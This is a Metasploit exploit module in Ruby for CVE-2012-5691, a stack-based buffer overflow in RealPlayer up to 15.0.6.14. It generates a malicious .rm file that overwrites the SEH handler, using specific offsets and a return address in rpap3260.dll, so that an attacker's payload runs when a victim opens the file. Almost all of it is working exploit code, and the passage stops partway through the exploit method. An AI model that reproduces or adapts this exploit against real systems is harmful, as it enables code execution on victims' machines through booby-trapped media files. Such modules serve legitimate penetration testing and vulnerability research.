class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'RealPlayer RealMedia File Handling Buffer Overflow',
'Description' => %q{
This module exploits a stack based buffer overflow on RealPlayer <=15.0.6.14.
The vulnerability exists in the handling of real media files, due to the insecure
usage of the GetPrivateProfileString function to retrieve the URL property from an
InternetShortcut section.
This module generates a malicious rm file which must be opened with RealPlayer via
drag and drop or double click methods. It has been tested successfully on Windows
XP SP3 with RealPlayer 15.0.5.109.
},
'License' => MSF_LICENSE,
'Author' =>
[
'suto <suto[at]vnsecurity.net>' # Vulnerability discovery, metasploit module
],
'References' =>
[
[ 'CVE', '2012-5691' ],
[ 'OSVDB', '88486' ],
[ 'BID', '56956' ],
[ 'URL', 'http://service.real.com/realplayer/security/12142012_player/en/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d",
'DisableNops' => true,
'Space' => 2000
},
'Targets' =>
[
[ 'Windows XP SP3 / Real Player 15.0.5.109',
{
'Ret' => 0x63f2b4b5, # ppr from rpap3260.dll
'OffsetOne' => 2312, # Open via double click
'OffsetTwo' => 2964 # Open via drag and drop
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Dec 14 2012',
'DefaultTarget' => 0))
register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.rm']),], self.class)
end
def exploit
buffer = payload.encoded
buffer << rand_text(target['OffsetOne'] - buffer.length) # Open the file via double click
buffer << generate_seh_record(target.ret)
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetOne'] + 8}").encode_string
buffer << rand_text(target['OffsetTwo'] - buffer.length) # Open the file via drag and drop to the real player
buffer << generate_seh_record(target.ret)
buffer << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['OffsetTwo'] + 8}").encode_string
buffer << rand_text(7000) # Generate exception
